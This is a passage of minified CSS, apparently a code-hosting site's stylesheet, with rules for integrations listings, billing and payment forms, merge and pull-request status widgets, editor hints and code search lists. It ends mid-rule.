.draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num 